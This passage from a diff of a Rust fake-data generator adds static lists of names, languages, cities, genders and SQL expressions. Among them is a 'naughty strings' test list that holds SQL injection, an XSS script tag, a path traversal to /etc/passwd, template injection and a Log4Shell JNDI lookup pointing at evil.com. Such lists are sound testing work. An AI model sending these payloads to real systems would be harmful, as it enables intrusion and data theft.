"University of California, Berkeley", "Cornell University", "University of Michigan",
|
|
1336
|
+
"University of Toronto", "ETH Zurich", "Imperial College London", "University of Tokyo",
|
|
1337
|
+
"National University of Singapore", "University of Melbourne", "McGill University",
|
|
1338
|
+
];
|
|
1339
|
+
|
|
1340
|
+
static LANGUAGES: &[&str] = &[
|
|
1341
|
+
"English", "Spanish", "French", "German", "Italian",
|
|
1342
|
+
"Portuguese", "Mandarin Chinese", "Japanese", "Korean", "Arabic",
|
|
1343
|
+
"Russian", "Hindi", "Dutch", "Swedish", "Turkish",
|
|
1344
|
+
"Polish", "Vietnamese", "Thai", "Greek", "Hebrew",
|
|
1345
|
+
];
|
|
1346
|
+
|
|
1347
|
+
static LANGUAGE_CODES: &[&str] = &[
|
|
1348
|
+
"en", "es", "fr", "de", "it", "pt", "zh", "ja", "ko", "ar",
|
|
1349
|
+
"ru", "hi", "nl", "sv", "tr", "pl", "vi", "th", "el", "he",
|
|
1350
|
+
];
|
|
1351
|
+
|
|
1352
|
+
static RACES: &[&str] = &[
|
|
1353
|
+
"White", "Black or African American", "Asian",
|
|
1354
|
+
"American Indian or Alaska Native", "Native Hawaiian or Other Pacific Islander",
|
|
1355
|
+
"Hispanic or Latino", "Two or More Races", "Other",
|
|
1356
|
+
];
|
|
1357
|
+
|
|
1358
|
+
static NATO_PHONETIC: &[&str] = &[
|
|
1359
|
+
"Alfa", "Bravo", "Charlie", "Delta", "Echo", "Foxtrot", "Golf", "Hotel",
|
|
1360
|
+
"India", "Juliett", "Kilo", "Lima", "Mike", "November", "Oscar", "Papa",
|
|
1361
|
+
"Quebec", "Romeo", "Sierra", "Tango", "Uniform", "Victor", "Whiskey",
|
|
1362
|
+
"X-ray", "Yankee", "Zulu",
|
|
1363
|
+
];
|
|
1364
|
+
|
|
1365
|
+
static LINKEDIN_SKILLS: &[&str] = &[
|
|
1366
|
+
"Project Management", "Leadership", "Communication", "Data Analysis", "Python",
|
|
1367
|
+
"JavaScript", "Machine Learning", "Marketing", "Sales", "Public Speaking",
|
|
1368
|
+
"Strategic Planning", "Agile Methodologies", "Cloud Computing", "SQL", "Negotiation",
|
|
1369
|
+
"Product Management", "UX Design", "Financial Analysis", "Team Building", "Customer Service",
|
|
1370
|
+
];
|
|
1371
|
+
|
|
1372
|
+
static CREDIT_CARD_TYPES: &[&str] = &[
|
|
1373
|
+
"Visa", "Mastercard", "American Express", "Discover", "JCB",
|
|
1374
|
+
"Diners Club", "UnionPay", "Maestro",
|
|
1375
|
+
];
|
|
1376
|
+
|
|
1377
|
+
static SCENARIOS: &[&str] = &[
|
|
1378
|
+
"happy_path", "edge_case", "error_state", "empty_result", "rate_limited",
|
|
1379
|
+
"timeout", "partial_data", "high_load", "cold_start", "concurrent_access",
|
|
1380
|
+
];
|
|
1381
|
+
|
|
1382
|
+
static FIRST_NAMES_MALE: &[&str] = &[
|
|
1383
|
+
"James", "John", "Robert", "Michael", "William", "David", "Richard", "Joseph",
|
|
1384
|
+
"Thomas", "Charles", "Christopher", "Daniel", "Matthew", "Anthony", "Mark",
|
|
1385
|
+
"Donald", "Steven", "Paul", "Andrew", "Joshua",
|
|
1386
|
+
];
|
|
1387
|
+
|
|
1388
|
+
static FIRST_NAMES_FEMALE: &[&str] = &[
|
|
1389
|
+
"Mary", "Patricia", "Jennifer", "Linda", "Elizabeth", "Barbara", "Susan", "Jessica",
|
|
1390
|
+
"Sarah", "Karen", "Nancy", "Lisa", "Betty", "Margaret", "Sandra",
|
|
1391
|
+
"Ashley", "Kimberly", "Emily", "Donna", "Michelle",
|
|
1392
|
+
];
|
|
1393
|
+
|
|
1394
|
+
static FIRST_NAMES_EUROPEAN: &[&str] = &[
|
|
1395
|
+
"Lukas", "Mateo", "Sofia", "Emma", "Noah", "Liam", "Olivia", "Hugo",
|
|
1396
|
+
"Lรฉa", "Giulia", "Lorenzo", "Anna", "Felix", "Marta", "Jakub",
|
|
1397
|
+
"Ingrid", "Oskar", "Elena", "Mathis", "Freya",
|
|
1398
|
+
];
|
|
1399
|
+
|
|
1400
|
+
static CHINESE_FAMILY_NAMES: &[&str] = &[
|
|
1401
|
+
"Wang", "Li", "Zhang", "Liu", "Chen", "Yang", "Huang", "Zhao",
|
|
1402
|
+
"Wu", "Zhou", "Xu", "Sun", "Ma", "Zhu", "Hu", "Guo",
|
|
1403
|
+
];
|
|
1404
|
+
|
|
1405
|
+
static CHINESE_GIVEN_NAMES: &[&str] = &[
|
|
1406
|
+
"Wei", "Fang", "Min", "Jing", "Lei", "Na", "Tao", "Jun",
|
|
1407
|
+
"Yan", "Hui", "Bin", "Xin", "Ying", "Hao", "Qiang", "Mei",
|
|
1408
|
+
];
|
|
1409
|
+
|
|
1410
|
+
static SHIRT_SIZES: &[&str] = &["XS", "S", "M", "L", "XL", "XXL", "XXXL"];
|
|
1411
|
+
|
|
1412
|
+
static FREQUENCIES: &[&str] = &[
|
|
1413
|
+
"daily", "weekly", "biweekly", "monthly", "quarterly", "annually", "hourly", "never",
|
|
1414
|
+
];
|
|
1415
|
+
|
|
1416
|
+
static GENDERS: &[&str] = &[
|
|
1417
|
+
"Male", "Female", "Non-binary", "Genderqueer", "Agender", "Genderfluid", "Other",
|
|
1418
|
+
];
|
|
1419
|
+
|
|
1420
|
+
static GENDERS_BINARY: &[&str] = &["Male", "Female"];
|
|
1421
|
+
|
|
1422
|
+
static GENDER_ABBREV: &[&str] = &["M", "F", "X"];
|
|
1423
|
+
|
|
1424
|
+
static GENDERS_FACEBOOK: &[&str] = &[
|
|
1425
|
+
"Male", "Female", "Non-binary", "Transgender", "Cisgender", "Genderqueer",
|
|
1426
|
+
"Genderfluid", "Agender", "Bigender", "Two-spirit",
|
|
1427
|
+
];
|
|
1428
|
+
|
|
1429
|
+
static COUNTRY_CODES2: &[&str] = &[
|
|
1430
|
+
"US", "GB", "DE", "FR", "JP", "CN", "CA", "AU", "BR", "IN",
|
|
1431
|
+
"IT", "ES", "NL", "SE", "CH", "MX", "KR", "RU", "ZA", "SG",
|
|
1432
|
+
];
|
|
1433
|
+
|
|
1434
|
+
static US_STATE_ABBR: &[&str] = &[
|
|
1435
|
+
"AL", "AK", "AZ", "AR", "CA", "CO", "CT", "FL", "GA", "HI",
|
|
1436
|
+
"IL", "IN", "MA", "MI", "NY", "NC", "OH", "PA", "TX", "WA",
|
|
1437
|
+
];
|
|
1438
|
+
|
|
1439
|
+
static US_CITIES: &[&str] = &[
|
|
1440
|
+
"New York", "Los Angeles", "Chicago", "Houston", "Phoenix",
|
|
1441
|
+
"Philadelphia", "San Antonio", "San Diego", "Dallas", "San Jose",
|
|
1442
|
+
"Austin", "Jacksonville", "Columbus", "Charlotte", "Seattle",
|
|
1443
|
+
"Denver", "Boston", "Portland", "Atlanta", "Miami",
|
|
1444
|
+
];
|
|
1445
|
+
|
|
1446
|
+
static NAUGHTY_STRINGS: &[&str] = &[
|
|
1447
|
+
"",
|
|
1448
|
+
" ",
|
|
1449
|
+
"undefined",
|
|
1450
|
+
"null",
|
|
1451
|
+
"NaN",
|
|
1452
|
+
"1; DROP TABLE users;--",
|
|
1453
|
+
"' OR '1'='1",
|
|
1454
|
+
"<script>alert('xss')</script>",
|
|
1455
|
+
"../../../../etc/passwd",
|
|
1456
|
+
"{{7*7}}",
|
|
1457
|
+
"%00",
|
|
1458
|
+
"๐จโ๐ฉโ๐งโ๐ฆ",
|
|
1459
|
+
"๐๐ฅ๐ฃ๐๐ค๐ค",
|
|
1460
|
+
"\u{202e}txet desreveR",
|
|
1461
|
+
"ฮฉโรงโโซหยตโคโฅรท",
|
|
1462
|
+
"โโโโโโโ",
|
|
1463
|
+
"-1",
|
|
1464
|
+
"0.0.0.0",
|
|
1465
|
+
"$HOME",
|
|
1466
|
+
"${jndi:ldap://evil.com/a}",
|
|
1467
|
+
];
|
|
1468
|
+
|
|
1469
|
+
static SQL_EXPRESSIONS: &[&str] = &[
|
|
1470
|
+
"COUNT(*)",
|
|
1471
|
+
"SUM(amount)",
|
|
1472
|
+
"AVG(price)",
|
|
1473
|
+
"MAX(created_at)",
|
|
1474
|
+
"MIN(score)",
|
|
1475
|
+
"NOW()",
|
|
1476
|
+
"CURRENT_TIMESTAMP",
|
|
1477
|
+
"COALESCE(name, 'unknown')",
|
|
1478
|
+
"UPPER(email)",
|
|
1479
|
+
"LOWER(username)",
|
|
1480
|
+
"DATE_TRUNC('day', created_at)",
|
|
1481
|
+
"EXTRACT(YEAR FROM birth_date)",
|
|
1482
|
+
"CASE WHEN active THEN 1 ELSE 0 END",
|
|
1483
|
+
"ROUND(total, 2)",
|
|
1484
|
+
"CONCAT(first_name, ' ', last_name)",
|
|
1485
|
+
];
|